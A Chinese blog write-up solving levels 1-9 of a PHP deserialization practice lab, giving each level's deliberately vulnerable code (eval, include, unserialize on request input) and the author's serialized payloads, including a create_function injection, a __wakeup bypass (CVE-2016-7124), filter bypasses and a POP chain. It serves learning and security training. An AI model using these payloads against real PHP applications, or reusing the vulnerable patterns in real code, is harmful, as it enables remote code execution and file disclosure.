php反序列化靶场php-ser-lib-main 1-9关

2024-03-13 00:04
文章标签 lib php 靶场 序列化 main ser

本文主要是介绍php反序列化靶场php-ser-lib-main 1-9关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

php-ser-lib-main

文章目录

  • php-ser-lib-main
    • level-1
    • level-2
    • level-3
    • level-4
    • level-5
    • level-6
    • level-7
    • level-8
    • level-9

level-1

<?php
highlight_file(__FILE__);
class a{var $act;function action(){eval($this->act);}
}
$a=unserialize($_GET['flag']);
$a->action();
?>
<br><a href="../level2">点击进入第二关</a>

目录下有一个flag.php,所以利用php反序列化漏洞让eval执行访问flag.php的代码。由于eval函数可执行字符串中的代码,所以将访问flag.php的代码当作字符串赋值给act即可,构造序列化代码:

<?php
class a{var $act="show_source('flag.php');";
}
$b=new a();
echo urlencode(serialize($b));

level-2

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_GET['param']);
if($a->login())
{echo $flag;
}
?> 
<br><a href="../level3">点击进入第三关</a>

这里使用到了construct魔术方法,这个方法在对象创建时自动使用。分析代码,只有在login函数返回1的时候才会输出flag,所以需要使得user和pass属性值为daydream和ok,构造序列化代码:

<?php
class mylogin{var $user="daydream";var $pass="ok";
}
$b=new mylogin();
echo urlencode(serialize($b));

感觉这在$b=new mylogin();这一段调用构造函数才是这一道题的考点…

level-3

<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{var $user;var $pass;function __construct($user,$pass){$this->user=$user;$this->pass=$pass;}function login(){if ($this->user=="daydream" and $this->pass=="ok"){return 1;}}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{echo $flag;
}
?> 
<br><a href="../level4">点击进入第四关</a>

这一关和上一关一样,但是需要在cookie中传参:

<?php
class mylogin{var $user="daydream";var $pass="ok";
}
$b=new mylogin();
echo urlencode(serialize($b));

level-4

<?php 
highlight_file(__FILE__);
class func
{public $key;public function __destruct(){        unserialize($this->key)();} 
}class GetFlag
{       public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
}unserialize($_GET['param']);?>
<br><a href="../level5">点击进入第五关</a>
  • 环境:5.6不支持可变函数,7.2已废除create_function

这里使用到array的特性,当array第一个参数是对象,而第二个参数是对象的方法时候进行反序列化会自动调用对象的方法。这里要使用create_function函数

create_function是 PHP 中的一个已弃用的函数,用于从字符串参数创建一个匿名函数。此函数允许开发者动态地创建并执行代码,但是因为它带来了较高的安全风险,从 PHP 7.2.0 开始已被弃用,并且在 PHP 8.0.0 中被完全移除。create_function的基本语法如下:

create_function(string $args, string $code): string
  • $args:字符串参数,用于定义匿名函数的参数。例如,‘a, b’ 将会创建一个接受两个参数 $a 和 b 的函数。
  • $code:字符串参数,包含匿名函数的主体。这通常是有效的 PHP 代码。
$newfunc = create_function('$a, $b', 'return $a * $b;');
echo $newfunc(4, 5); // 输出:20

在上面的例子中,我们创建了一个简单的匿名函数,它接受两个参数 $a$b,并返回它们的乘积。然后,我们调用这个函数并传递参数 4 和 5,输出结果为 20。

所以构造序列化代码:

<?php
class func
{public $key;public function __destruct(){        unserialize($this->key)();} 
}class GetFlag
{       public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
} 
$a2=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a2->key=serialize(array($b,"get_flag"));
echo urlencode(serialize($a2));
?>

其中code这个字符串 '}include("flag.php");echo $flag;//' 是在尝试创建一个包含恶意代码的匿名函数时,插入到函数定义的末尾。这个字符串以 } 开始,意在闭合前面 create_function 可能会生成的函数体的开始部分(即 function () {)。

整个攻击链是这样的:

  • 首先array中第一个参数是设计好的GetFlag类的对象,第二个参数是它的方法,这样子充分利用了func类中的反序列化函数。
  • 将array序列化后的值赋值给func的key属性值,这是为了之后反序列化能够实现。接着将func类的对象a2序列化再url转化。
  • 后端函数在接收到序列化值时候,反序列化a2,函数执行结束调用析构函数,使得get_flag函数得以实现。

level-5

<?phpclass secret{var $file='index.php';public function __construct($file){$this->file=$file;}function __destruct(){include_once($this->file);echo $flag;}function __wakeup(){$this->file='index.php';}}$cmd=$_GET['cmd'];if (!isset($cmd)){echo show_source('index.php',true);}else{if (preg_match('/[oc]:\d+:/i',$cmd)){echo "Are you daydreaming?";}else{unserialize($cmd);}}//sercet in flag.php
?>
<br><a href="../level6">点击进入第六关</a>
  • 环境:CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10

这里有一个wakeup方法,这个方法是序列化对象恢复时调用的,当然可以绕过这个调用,只要在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup,配置成如上环境。这一道题还有一个过滤preg_match(‘/[oc]:\d+:/i’,$cmd),这个也可以绕过在对象个数前面加一个加号试试,构造序列化代码:

<?phpclass secret{var $file='flag.php';}$a=new secret();
echo serialize($a);
//O:6:"secret":1:{s:4:"file";s:8:"flag.php
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');

level-6

<?php
highlight_file(__FILE__);
class secret{private $comm;public function __construct($com){$this->comm = $com;}function __destruct(){echo eval($this->comm);}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);
unserialize($param);
?>
<br><a href="../level7">点击进入第七关</a>

这一关需要绕过的就是str_replace函数,因为private、public、protect在序列化时候有影响


Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性
<?php
class secret{private $comm="system('sort flag.php');";function __destruct(){echo eval($this->comm);}
}$a=new secret();
echo serialize($a);

对于绕过replace,可以使用\00代替%00,并且将s换成大写

O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('sort flag.php');";}
  • 小写 s:表示对象的属性名是一个普通的字符串。
  • 大写 S:表示对象的属性名是一个被 null 字节(\0)填充的字符串,也称为一个带有命名空间的属性名。这在 PHP 中通常用于类的私有(private)或受保护(protected)属性,因为这些属性在序列化时会被重命名,以避免命名冲突。

level-7

<?php
highlight_file(__FILE__);
class you
{private $body;private $pro='';function __destruct(){$project=$this->pro;$this->body->$project();}
}
class my
{public $name;function __call($func, $args){if ($func == 'yourname' and $this->name == 'myname') {include('flag.php');echo $flag;}}
}
$a=$_GET['a'];
unserialize($a);
?>
<br><a href="../level8">点击进入第八关</a>

这里多了一个call方法,这个方法就是如果调用对象中没有的方法就会调用call方法。查看源代码,只要调用一个my类对象没有的方法,并且func和name的值对的上就行。call触发后会把该不存在的方法名直接以参数的形式传入__call方法中

至于如何调用到my中的方法,就要利用you类中的destruct方法。分析过后,将方法名赋值给pro就行,然后将body指向my的对象,这样$this->body->$project();就可以调用my的方法了。

<?php
class you{private $body;function set_body($arg){$this->body=$arg;}private $pro="yourname";
}class my{public $name="myname";
}
$a=new you();
$b=new my();
$a->set_body($b);
echo serialize($a);

要注意的是需要添加\00与切换大小写:

O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}

level-8

<?php
highlight_file(__FILE__);
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';function __construct($user){$this->user=$user;}
}$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){echo file_get_contents("flag.php");
}
?>
<br><a href="../level9">点击进入第九关</a>

这一关的考点就是增量逃逸,假如我们有这一段代码,序列化之后:

class test{var $user='aaa";s:4:"aaaa";}';function __construct($user){$this->user=$user;}
}

O:4:test:2:{s:4:“user”;s:17:“aaa”;s:4:“aaaa”;}";s:4:“pass”;}

在序列化过程中;}是不会和前面的闭合的,但是在反序列化的时候就会闭合:

O:4:test:2:{s:4:“user”;s:17:“aaa”;s:4:“aaaa”;}

但是在反序列化的过程中会检测数量,就比如这里的17对应的3个a,数量不对就会报错,回到这道题,上面的过滤其实可以作为增量来处理,每一个php会增加1个字符,所以可以这样:

O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

但是个人觉得没必要,因为你可以修改数量,比如17改为3就行了,所以我的payload为:

O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

level-9

pop型主要就是找链头和链尾。

<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {private $var;public function append($value){include($value);echo $flag;}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>
<br><a href="../level10">点击进入第十关</a>

链尾可以看出是Modifier类,因为有include也有echo flag,然后能够调用它的就是invoke方法而能调用invoke方法的就是Test类的get方法,get方法实现是访问到不可访问的属性值,而Show类的toString方法能做到,接着就是链头串起来:

<?php
class Modifier {private $var="flag.php";
}class Show{public $source;public $str;
}class Test{public $p;
}
$a=new Modifier();
$b=new show();
$c=new Test();$b->source=$b;//类被当作字符串调用toString
$b->source->str=$c;//this->str->source没有这个属性,则调用c中的get
$c->p=$a;//上一步调用get后,a对象被当成函数,所以调用a的invokeecho urlencode(serialize($b));
?>

这篇关于php反序列化靶场php-ser-lib-main 1-9关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/803026

相关文章

springboot将lib和jar分离的操作方法

《springboot将lib和jar分离的操作方法》本文介绍了如何通过优化pom.xml配置来减小SpringBoot项目的jar包大小,主要通过使用spring-boot-maven-plugin... 遇到一个问题,就是每次maven package或者maven install后target中的ja

配置springboot项目动静分离打包分离lib方式

《配置springboot项目动静分离打包分离lib方式》本文介绍了如何将SpringBoot工程中的静态资源和配置文件分离出来,以减少jar包大小,方便修改配置文件,通过在jar包同级目录创建co... 目录前言1、分离配置文件原理2、pom文件配置3、使用package命令打包4、总结前言默认情况下,

Java中JSON字符串反序列化(动态泛型)

《Java中JSON字符串反序列化(动态泛型)》文章讨论了在定时任务中使用反射调用目标对象时处理动态参数的问题,通过将方法参数存储为JSON字符串并进行反序列化,可以实现动态调用,然而,这种方式容易导... 需求:定时任务扫描,反射调用目标对象,但是,方法的传参不是固定的。方案一:将方法参数存成jsON字

PHP执行php.exe -v命令报错的解决方案

《PHP执行php.exe-v命令报错的解决方案》:本文主要介绍PHP执行php.exe-v命令报错的解决方案,文中通过图文讲解的非常详细,对大家的学习或工作有一定的帮助,需要的朋友可以参考下... 目录执行phpandroid.exe -v命令报错解决方案执行php.exe -v命令报错-PHP War

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

PHP原理之内存管理中难懂的几个点

PHP的内存管理, 分为俩大部分, 第一部分是PHP自身的内存管理, 这部分主要的内容就是引用计数, 写时复制, 等等面向应用的层面的管理. 而第二部分就是今天我要介绍的, zend_alloc中描写的关于PHP自身的内存管理, 包括它是如何管理可用内存, 如何分配内存等. 另外, 为什么要写这个呢, 因为之前并没有任何资料来介绍PHP内存管理中使用的策略, 数据结构, 或者算法. 而在我们

php中json_decode()和json_encode()

1.json_decode() json_decode (PHP 5 >= 5.2.0, PECL json >= 1.2.0) json_decode — 对 JSON 格式的字符串进行编码 说明 mixed json_decode ( string $json [, bool $assoc ] ) 接受一个 JSON 格式的字符串并且把它转换为 PHP 变量 参数 json

如何将文件夹里的PHP代码放到一个文件里

find ./dir -name "*.php" -exec 'cat' {} \; > dir.out

PHP抓取网站图片脚本

方法一: <?phpheader("Content-type:image/jpeg"); class download_image{function read_url($str) { $file=fopen($str,"r");$result = ''; while(!feof($file)) { $result.=fgets($file,9999); } fclose($file); re

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的